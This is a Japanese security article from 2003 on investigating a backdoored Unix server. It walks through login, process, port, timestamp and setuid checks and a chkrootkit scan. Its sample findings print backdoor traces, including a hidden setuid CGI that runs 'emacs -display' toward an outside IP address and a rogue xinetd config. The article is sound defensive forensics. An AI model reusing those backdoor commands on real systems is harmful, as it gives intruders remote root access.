仕掛けられたバックドアの検出と対処：不正侵入の手口と対策（5）（1/2 ページ）

» 2003年02月10日 00時00分公開

[木村靖，三井物産セキュアディレクション株式会社]

※ご注意
他社および他組織のWebサイトなどへのポートスキャンおよびデータの取得などの行為で得た情報を侵入などに悪用するか、または同じ目的を持つ第三者に提供した時点で違法となります。ご注意ください。
本稿の内容を検証する場合は、必ず影響を及ぼさない限られた環境下で行って下さい。
また、本稿を利用した行為による問題に関しましては、筆者および株式会社アットマーク・アイティは一切責任を負いかねます。ご了承ください。

　「第4回攻撃者が侵入後に行うバックドアの設置例」では、バックドアを仕掛ける手法の事例をいくつか紹介した。今回は、それらのバックドアへの対処と検知方法について説明する。

対処法 - バックドアを仕掛けられてしまったら

　侵入やバックドアの痕跡を見つけた時点で、サーバ管理者はどのような対処をすべきか？という問いに対して、読者の皆さんなら何と答えるだろうか。持っている意見は人それぞれだろうが、共通項目として、おそらくほとんどの方が「原因究明」と「復旧」を挙げるのではないかと思う。

原因究明
侵入やバックドアの手口、攻撃者の特定、被害状況の調査
復旧
バックドアが設置される前の安全な状態に戻す

　本稿では、これらの対処法について説明する。説明は原因究明、復旧の順に行うが、これらの対処をどちらから先に行うかについては、置かれている状況やその組織のポリシーや管理者の考え方によって異なるため、ここではあえて触れないことにする。

原因究明 - バックドアと侵入痕跡の調査

　まずは侵入やバックドアの手口、攻撃者の特定、被害状況の調査から行う。本作業は、早急に本来のサービスを再開させるため、迅速かつ的確に行う必要がある。そのため、理想をいえばこのような最悪の事態に備え、どういった調査が必要になるのかについて、あらかじめ文書などにまとめておくのがよいだろう。そうしておくと、実際に突然その状況下に置かれた場合でも、比較的慌てずに調査を行うことができ、また操作ミスを誘発する可能性も減るだろう。

原因究明の前に（暫定策の実施と準備）

　原因究明の前に行わなければならないことがいくつかある。

不審なサーバはネットワークから切り離す
改ざんされていない安全なコマンドの準備
調査用パソコンの準備
メモと時計の準備（※追加）

1.ネットワークから切り離す

　もし、より厳密な原因究明を行いたい場合は、対象サーバをこの時点でネットワークから切り離さない方がよいだろう。例えば通信中のネットワークの状況などは、そのままの状態で調査しないと、より確実な情報を得ることができないからだ。なお、ここで切り離さない場合は、遅くとも後述の「原因究明の手順」が終了した時点で切り離すようにしよう。

　そうではなく、厳密な調査よりもこれ以上被害を拡大させたくない（別サーバに影響を及ぼしたくない）場合は、この時点で対象サーバを物理的に従来ネットワークから切り離そう。そして切り離した後は、原因究明のために独立したネットワークに接続し直すとよいだろう。

2.安全なコマンドの準備

　バックドアにより原因究明の際に使用するコマンドが改ざんされていた場合、正しい結果が得られない恐れがある。そういったケースを考慮して、あらかじめスタテイックバイナリ形式の安全なコマンド群をCD-ROMなどのメディアに格納しておき、原因究明の際に対象サーバ上でマウントして使用するとよい。

　もちろん実行するコマンドは、確実にそのメディアのものが使用されるように、絶対パスを指定する必要がある。＊1なお、本稿では安全なコマンドが/cdrom/bin以下に格納されているものとして話を進める。

＊1
このことは、LKM（ローダブルカーネルモジュール）型のバックドアの前では、無意味になってしまうことに注意が必要である。

3.調査用パソコンの準備

　調査用のパソコンを1台準備し、対象サーバと同じネットワークに接続して調査することをお勧めする。調査自体は対象サーバにリモートログインしてから行うことになるが、ログインと同時に、バックドアによる何らかの不具合が発生したり、いままさに侵入している攻撃者に気付かれてしまい、証拠陰滅や重要なファイルを消されてしまう可能性もある。そのため調査は十分慎重に行う必要がある。特に侵入中の攻撃者を刺激するような行為は絶対に行ってはいけない。その場合は、速やかに対象サーバをネットワークから切り離した方が無難だろう。

　ログイン時およびログイン後の調査作業は、一般ユーザー権限で行うことをお勧めする。管理者権限（root）で行わないのは、万が一操作ミスがあった場合にシステムに与える影響が一般ユーザーと比べて大きくなるためだ。そのため管理者権限は、必要な時（後述のlsof、find、chkrootkit、tarなど）のみ使うようにし、それ以外は一般ユーザー権限で調査することをお勧めする。このことは、通常のサーバ運用においても同じことがいえるだろう。

　なお、調査用のパソコンを準備できない場合は、対象サーバのローカルコンソールからログインし調査を行うことになるが、リモートログインと同様、通常は一般ユーザー権限で調査することをお勧めする。

4.メモと時計の準備（※追加）

　調査時に実行したコマンドの時刻や結果については、後述のscriptコマンドによる記録とは別に、紙に記録しておくことをお勧めする。そのためには、メモ用紙、筆記用具、時計を忘れずに用意しておくこと。また、対象サーバのシステム時計が実際の時刻とずれていた場合は、その差異を記録しておくこと。

原因究明の手順

　では、原因究明の手順を追ってみよう。

調査コマンド実行内容の保存（script）
ログイン履歴のチェック（w、last）
実行プロセスのチェック（ps）
通信のチェック（netstat、lsof、nmap）
MAC timeの採取（mac-robber）（※追加）
不審なファイルのチェック（find、strings）
バックドアツールの検出（chkrootkit）
ログと調査結果の収集

1.調査コマンド実行内容の保存（script）

　まずは原因究明のために実行した一連のコマンドとその結果をログとして保存する。保存するにはscriptコマンドを使うとよい。

　調査用のパソコンがある場合は、scriptコマンドを調査用パソコンのターミナル上で実行すればよいが、そうでない場合は対象サーバで実行することになる。

% script /tmp/chousa.log

※注
本稿内の実行コマンドの先頭の「%」は一般ユーザー権限、「#」は管理者権限（root）によるコマンドの実行を意味する。

　これ以降、このターミナルで実行した結果はすべて/tmp/chousa.logファイルに格納される。なお、scriptコマンドを終了したい場合は、exitを実行すればよい。

2.ログイン履歴のチェック（w、last）

　w、lastコマンドを使い、だれが、いつ、どこからログインし、何を実行したのかを確認する。

（1）w（現在のユーザー状況の表示）

　現在ログイン中のユーザーが何をしているかを調査する。

% /cdrom/bin/w

            4:45pm up 3 days, 21:27, 2 users, load average: 0.00, 0.00, 0.00

            USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT

            root pts/0 172.16.10.10 4:05pm 1:05 0.32s 0.19s vim sshd_config

            y-kimura pts/1 192.168.0.142 4:42pm 0.00s 0.23s 0.03s w

　上記では、172.16.10.10（FROM）からrootログインし（USER）、vi（上記ではvimコマンド）でsshd_configファイルを編集している（WHAT）ことが分かる。

（2）last（ログイン履歴の表示）

　過去のログイン履歴を調査する。

% /cdrom/bin/last

            y-kimura pts/2 192.168.0.142 Sun Jan 19 16:42 still logged in

            root pts/1 172.16.10.10 Sun Jan 19 16:05 still logged in

            kimu pts/1 192.168.0.200 Thu Jan 16 03:34 - 03:39 （00:04）

            reboot system boot 2.4.18-3 Mon Jan 13 20:32 （5+20:11）

　上記から以下のことがうかがえる。

現在ログイン中のユーザー（still logged in）は、y-kimuraとrootである。
ユーザーkimu が1月16日の3:34?3:39の間ログインしていた。
サーバを再起動（リブート）したのは、1月13日20:32である。

上記結果より、外部（172.16.10.10）からrootでログインしている不審なログイン履歴があるのを確認できる。

3.実行プロセスのチェック（ps）

　psコマンドを使い、不審なプロセスが存在するかどうかを調査する。

% /cdrom/bin/ps -ef

            UID PID PPID C STIME TTY TIME CMD

            root 1 0 0 Jan13 ? 00:00:04 init

            root 2 1 0 Jan13 ? 00:00:00 [keventd]

……省略……

root 11397 1 0 Jan19 ? 00:00:02 emacs 
            -display 172.16.10.10:0.0

            root 11446 1 0 Jan19 ? 00:00:00 /usr/sbin/xinetd -f /tmp/.inetd.conf

　その結果、前回仕掛けたバックドアプロセス（emacs、xinetd）を確認することができた。

4.通信のチェック（netstat、lsof、nmap）

　不審な通信を見つけ出すためには内部と外部の双方から調査を行う必要がある。

（1）内部からの調査（netstat、lsof）

　サーバ内部から調査するためには、netstatやlsofといったコマンドを使用するとよい。

netstat を使う

netstatコマンドを使うと、現在接続中の通信の様子やサーバで待機しているポートを割り出すことができる。

% /cdrom/bin/netstat 
                -an

                Active Internet connections （servers and established）

                Proto Recv-Q Send-Q Local Address Foreign Address State 

                tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN

                tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN

                tcp 0 0 0.0.0.0:8888 0.0.0.0:* LISTEN

……省略……

tcp 0 912 192.168.0.10:22 172.16.10.10:65522 
                ESTABLISHED

                tcp 0 0 192.168.0.10:32769 172.16.10.10:6000 ESTABLISHED

                tcp 0 0 192.168.0.10:22 192.168.0.142:65515 ESTABLISHED

……省略……

udp 0 0 0.0.0.0:32769 0.0.0.0:*

                udp 0 0 192.168.0.10:53 0.0.0.0:*

                udp 0 0 0.0.0.0:111 0.0.0.0:*

ProtoがtcpでStateがLISTENの行は、このサーバで待機しているTCPポートを示し、StateがESTABLISHEDの行は接続中のTCPの通信を示している。また、Protoがudpの行は待機しているUDPポートを示している。

lsofを使う

lsofコマンドを使って、netstatと同じような通信の様子を出力することができる。

# /cdrom/bin/lsof -i

                COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME

                portmap 534 root 3u IPv4 901 UDP *:sunrpc 

                portmap 534 root 4u IPv4 922 TCP *:sunrpc （LISTEN）

                rpc.statd 556 root 4u IPv4 964 UDP *:32768



                

                ……省略……

（2）外部からの調査（nmap）

nmapを使う

netstatやlsofで内部から調査しても、前回紹介したadoreのようなLKM型のバックドアを使用して特定の通信を隠ぺいされると検出することができない。そういった場合、外部から対象サーバに対してポートスキャンを行うのがよいだろう。ここではnmapを使用して、ポートスキャンを実施する。

# nmap -sT -p 1-65535 
                192.168.0.10

Starting nmap V. 3.00 （www.insecure.org/nmap/ 
                ）

                Interesting ports on www.example.co.jp （192.168.0.10）:

                （The 65535 ports scanned but not shown below are in state: closed）

                Port State Service

                22/tcp open ssh 

                25/tcp open smtp 

                53/tcp open domain 

                80/tcp open http 

                111/tcp open sunrpc 

                443/tcp open https 

                5680/tcp open canna 

                8888/tcp open sun-answerbook



                

                Nmap run completed -- 1 IP address （1 host up） scanned in 218 
                seconds

上記は全TCPポート（1-65535）に対してポートスキャンを行っている。必要であればUDPスキャン（-sU）も行うとよい。出力結果として、8888/tcpという見慣れないポートが待機中であることが分かる（第4回の「xinetdのバックドア」の項目参照）。

5.MAC timeの採取（mac-robber）（※追加）

　現時点の対象サーバ上の全ファイルのタイムスタンプ（MAC time）を採取しておく。MAC timeを採取するには、既存のコマンドであればls（-l, -ul, -clオプション）やstatを使えばよい。ツールであればDan FarmerとWietse Venema両氏のThe Coroners Toolkit(TCT)のGrave-robberや@stakeのmac-robberなどが知られている。ここでは、後々の解析が容易な@stake提供のmac-robberを使ったMAC timeの採取例を紹介する。

　なお、MAC timeの採取にはそれなりの時間を要してしまう。そのため、ネットワークに接続したままの状態（オンライン）で本作業を行うと、被害が拡大する可能性もより高くなることを十分に理解しておく必要がある。安全性をとるのであれば、この時点で対象サーバをネットワークから切り離し（オフライン状態にして）、MAC timeを採取した方が無難だろう。

（1）コンパイル

　mac-robberを展開しコンパイルする。コンパイルが完了するとmac-robberという実行ファイルができあがる。

$ tar zxvf mac-robber-1.00.tar.gz

            $ cd mac-robber-1.00

            $ make

            $ gcc -O3 -Wall -static -o mac-robber mac-robber.c

　標準ではスタティックリンク形式(gccで-static指定)の実行ファイルmac-robberが作成される。このmac-robberは、先述の安全なコマンド群が格納されているCD-ROMに格納しておくとよいだろう。

（2）実行（MAC timeの採取）

　全ファイルのMAC timeをローカルディスクの/tmp/mactime.logに出力したい場合は、以下のとおり実行すればよい。

# cd mac-robber-1.00

            # ./mac-robber / > /tmp/mactime.log

　また、結果をローカルディスクのファイルに出力せずに、調査用パソコン(192.168.0.142)上のmactime.logファイルに出力する場合は、netcatを使うという方法もある。

# ./mac-robber / | nc 192.168.0.142 
            2222

　この場合、調査用パソコンの2222/tcpにて、

# nc -l -p 2222 > mactime.log

を事前に実行する必要がある。

（3）解析（TASK mactime）

　mac-robberの結果を解析するには、@stake提供のTASKに含まれるmactime（TCTのmactimeをベース）を使えばよい。なお、本作業はここでは行わず、後でじっくりと調査した方がよいだろう。

$ tar zxvf task-1.60.tar.gz

            $ cd task-1.60

            $ make mactime （mactimeのみ生成）

            $ ./bin/mactime -b /tmp/mactime.log 01/10/2003-01/20/2003

　上記の例は、先述のmac-robberで採取したログ（/tmp/mactime.log）より、2003年1月10日から2003年1月20日までに更新されたMAC timeの情報を出力している。なお、日付部分はMM/DD/YYYYの形式で指定する（-yオプションでYYYY/MM/DDの形式）。

6.不審なファイルのチェック（find、strings）

（1）setuid（setgid）ファイルのチェック

　findコマンドを使い、サーバ上のsetuid（setgid）されたファイルの中で、不審に思われるものが存在するかどうかをチェックする。以下はその一例である。

# /cdrom/bin/find / -type 
            f \（-perm -u+s -o -perm -g+s \） -ls

            32880 36 -rwsr-xr-x 1 root root 34296 Mar 28 2002 /usr/bin/chage

            32882 36 -rwsr-xr-x 1 root root 36100 Mar 28 2002 /usr/bin/gpasswd

            32962 40 -rwsr-xr-x 1 root root 37528 Jan 18 2002 /usr/bin/at

……省略……

507958 16 -rwsr-xr-x 1 root root 13847 
            Dec 12 23:14 /var/www/cgi-bin/.exploit

　指定したオプションの-type f はファイルタイプがファイルのもののみ表示するようにし、-perm、-u+sおよび-perm、-g+sで、setuid、setgidされたファイルをそれぞれ表示している。また、-lsを追加し、lsコマンド形式でファイルの詳細内容の表示も行っている。

　上記の実行結果には、前回作成したバックドアCGIプログラムの/var/www/cgi-bin/.exploitも検出されていることが分かる。

（2）バイナリファイルのチェック（strings）

　不審なバイナリファイルを見つけたら、stringsコマンドを使い、それがどういったことを行っているのかチェックする。strings によってすべてが分かるというわけではないが、大体の内容を把握するにはちょうどよいだろう。

# /cdrom/bin/file /var/www/cgi-bin/.exploit

            /var/www/cgi-bin/.exploit: setuid ELF 32-bit LSB executable, Intel 
            80386, version 1 （SYSV）, dynamically linked （uses shared libs）, not 
            stripped

# /cdrom/bin/strings /var/www/cgi-bin/.exploit

            /lib/ld-linux.so.2

            libc.so.6

            printf

            system

            __deregister_frame_info

            _IO_stdin_used

            __libc_start_main

            setuid

            __register_frame_info

            __gmon_start__

            GLIBC_2.0

            PTRh

            QVhp

            Content-Type: text/html

            emacs -display 172.16.10.10:0.0 &

            #

　C言語のprintf、system、setuidといった関数が呼び出され、さらにはemacsコマンドを実行し特定IPアドレス（172.16.10.10）に出力を試みているCGIプログラムであることが分かる。

7.バックドアツールの検出（chkrootkit）

　chkrootkitは、Nelson Murilo氏が中心となって開発を進めているUNIX用のバックドア検出ツールで、主な特徴は以下のとおりとなり、chkrootkitを用いた検出方法を見ていこう。


chkrootkitの特徴
既知のバックドアの検出
プロミスキャスモードの検出
lastlogの改ざんチェック
wtmpxの改ざんチェック（Solarisのみ）
LKM型バックドアの検出
ファイル中の文字列チェック

（1）コンパイル

　chkrootkitを実行するために必要な各種コマンド群をコンパイルする。

# tar zxvf chkrootkit-0.38.tar.gz

            # cd chkrootkit-0.38

            # make sense

            gcc -DHAVE_LASTLOG_H -o chklastlog chklastlog.c

            gcc -DHAVE_LASTLOG_H -o chkwtmp chkwtmp.c

            gcc -DHAVE_LASTLOG_H -o ifpromisc ifpromisc.c

            gcc -o chkproc chkproc.c

            gcc -o chkdirs chkdirs.c

            gcc -o check_wtmpx check_wtmpx.c

            gcc -static -o strings strings.c

            #

　check_wtmpx、chkdirs、chklastlog、chkproc、chkwtmp、ifpromisc、stringsといった実行形式のファイルが生成される。これらのファイル（コマンド）は、シェルスクリプトのchkrootkitから実行されるので、通常は個別に実行する必要はない。

（2）実行前に

　実行する前にchkrootkitのオプションを確認しておく。

# chkrootkit -h

            Usage: ./chkrootkit [options] [test ...]

            Options:

            -h show this help and exit

            -V show version information and exit

            -l show available tests and exit

            -d debug

            -q quiet mode

            -x expert mode

            -r dir use dir as the root directory

            -p dir1:dir2:dirN path for the external commands used by chkrootkit

            #


	オプション	説明
	-h	ヘルプメッセージの表示
	-V	chkrootkitのバージョン表示
	-l	テストモード
	-d	デバッグモード
	-q	必要最小限のメッセージ出力
	-x	詳細モード
	-r dir	チェックしたいルートディレクトリの指定
	-p dir1:dir2:dirN	chkrootkitで使用するコマンドが格納されているディレクトリ

　また、-lを指定して、検査対象となる各種プログラムも確認しておく。

# ./chkrootkit -l 

            ./chkrootkit: tests: aliens asp bindshell lkm rexedcs sniffer wted 
            scalper slapper z2 amd basename biff chfn chsh cron date du dirname 
            echo egrep env find fingerd gpm grep hdparm su ifconfig inetd inetdconf 
            identd killall ldsopreload login ls lsof mail mingetty netstat named 
            passwd pidof pop2 pop3 ps pstree rpcinfo rlogind rshd slogin sendmail 
            sshd syslogd tar tcpd tcpdump top telnetd timed traceroute w write

（3）実行

　実行は単に./chkrootkit とすればよいが、ここでは-qで必要最小限の情報のみを出力し、-pで安全なコマンドが格納されているパス（/cdrom/bin）を指定した。

# ./chkrootkit -q -p /cdrom/bin

            Checking 'inetd'... INFECTED

/usr/lib/perl5/site_perl/5.6.0/i386-linux/auto/NKF/.packlist 
            /usr/lib/perl5/5.6.1/i386-linux/.packlist



            

            Possible Ramen worm installed

            Warning: Possible Ramen Worm installed in inetd.conf

            Warning: Possible Ramen Worm installed （/sbin/asp）



            

            eth0 is not promisc



            

            Checking 'slapper'... not infected

            Checking 'z2'... 

            nothing deleted

　実行結果より、inetdの改ざんおよびRamen wormと思われるバックドアが検出されたことが分かる。なお、現chkrootkitのバージョンは、LKMのチェックが甘いのか、残念ながら前回紹介したadore LKMを正しく検出することができない。

8.ログと調査結果の収集

（1）ログの収集

　後でじっくりと調査するため、ログやシステムファイルのバックアップを取り、調査用のパソコンにでも転送しておくことをお勧めする。各種ファイルを収集するには、tarコマンドを使用するとよい。tarコマンドは複数のファイルを1つにまとめてくれる機能を持つ（アーカイブ）。ここではシステムファイルが/etc以下、ログが/var/log以下のディレクトリに格納されているものとして説明する。また、tarはGNU版のtarを使用し、zオプションでgzipによる圧縮を行うことにした。

# cd /

            # tar cfz /tmp/backup-etc.tar.gz etc

            # tar cfz /tmp/backup-varlog.tar.gz var/log

　実行した結果、/tmp以下にbackup-etc.tar.gzとbackup-varlog.tar.gzが作成される。なお、アーカイブした結果を確認する場合は、次のとおり実行すればよい。

# tar ztf /tmp/backup-etc.tar.gz

            etc/

            etc/sysconfig/

            etc/sysconfig/network-scripts/

            etc/sysconfig/network-scripts/ifup-aliases

……省略……

# tar ztf /tmp/backup-varlog.tar.gz

            log/

            log/canna/

            log/lastlog

            log/messages

……省略……

（2）調査結果の収集

　実行したコマンドの履歴（/tmp/chousa.log）やログやシステムファイルのバックアップを、バックアップメディアか調査用のパソコンにファイル転送し、後でじっくりと自分で調査するか、専門機関に調査を依頼すればよい。もちろんすべてを専門機関に依頼するという選択肢もある。なお、採取したログ（chousa.log）やバックアップファイルは、MD5ハッシュなどでそれ自身の整合性も忘れずに保存しておこう。

 % /cdrom/bin/md5sum chousa.log 
            > chousa.log.md5 

            % cat chousa.log.md5 

            3b3ec6b49509c80567252bdfe2181d69 chousa.log

　また、調査ログおよびアーカイブデータのバックアップが完了した時点で、これらのファイルは対象サーバから削除しておこう。

【重要】なお、調査結果は耐火金庫などに入れ厳重に保管しておくとよいだろう。（※追加）

コラム～ MAC timeの重要性（※追加）

　「5. MAC timeの採取」でも紹介したが、原因究明の際に重要な手掛かりとなり得る、MAC timeについて少し解説しておく。

　UNIXやWindowsなどのファイルシステムでは、おのおののファイルやディレクトリにmtime、atime、ctimeといった3つの時刻属性（タイムスタンプ）が保存されている。これらの時刻属性は、それぞれの頭文字を取ってMAC timeと呼ばれている。


時間	意味	時刻の変更条件＊1
mtime	ファイルの最終修正時刻	ファイルの内容が変更された場合（ファイル操作でmknod（2）、truncate（2）、utime（2）、write（2）などのシステムコールを利用した場合）
atime	ファイルの最終アクセス時刻	ファイルの内容にアクセスした場合（ファイル操作でexecve（2）、mknod（2）、pipe（2）、utime（2）、read（2）などのシステムコールを利用したファイル操作を行った場合）
ctime	ファイル情報の最終変更時刻	ファイルへの書き込みやiノード情報を変更した場合（ファイル操作でchmod（2）、chown（2）、mknod（2）、link（2）などのシステムコールを利用した場合）
表1 UNIXにおけるMAC time

＊1 変更条件のUNIXシステムコールは、man 2 lstatコマンドなどで確認できる。

　表1に示すとおり、MAC timeには、対象サーバ上で行ったさまざまなファイル操作のタイムスタンプが保持されている。こういった情報は、侵入者（あるいはバックドア）が、いつ、どのファイルを作成、改ざん、アクセスしたのかを特定するための重要な手掛かり（証拠）にもなり得る。そのため、MAC timeを取り扱う場合は、以下の点に注意しながら十分慎重に行うことをお勧めする。

原因究明の際は慎重に

　原因究明で行う手順（実行するコマンド）によっては、現時点のファイルのMAC timeを変更してしまう可能性があることに注意すること。例えば、「原因究明の手順」で使用しているstringsコマンドの場合、実行すると対象ファイルである.exploitの最終アクセス時刻（atime）が変更されてしまう。そのため、MAC timeは、そういったコマンドを実行する前に採取した方がよい。

MAC timeは改ざん可能

　MAC timeは、必ずしも正確な情報であるとは限らないことに注意しよう。なぜならMAC timeは、侵入者（バックドア）によって意図的に改ざんされている可能性があるからだ。

MAC timeの保持精度の違い

　原因究明や証拠保全のためにバックアップしたデータを、本来とは異なるファイルシステムに戻す場合、戻す先のファイルシステムが記録できる時刻の精度（分解能）によっては、MAC timeが変更してしまう可能性がある。

　例えば、UNIXファイルシステムのデータをWindowsのFATにコピーした場合、各ファイルのMAC timeは偶数秒になってしまう。これは、FATのファイル作成日時が偶数秒単位でしか記録できないためで、UTC 1970年1月1日0時0分0秒から秒単位で記録しているUNIXファイルシステムのファイルをFATにコピーすると、奇数秒はすべて偶数秒に繰り上げとなってしまう。このことは、NTFSからFATにおいても同様の問題が発生する。

【参考】マイクロソフトサポート技術情報
［NT］NTFSからFATへのファイルのコピー時に日時が変わる
http://support.microsoft.com/default.aspx?scid=kb;ja;JP402160

復旧 - 安全な状態に戻す

　　　　　　 1|2 次のページへ

SpecialPR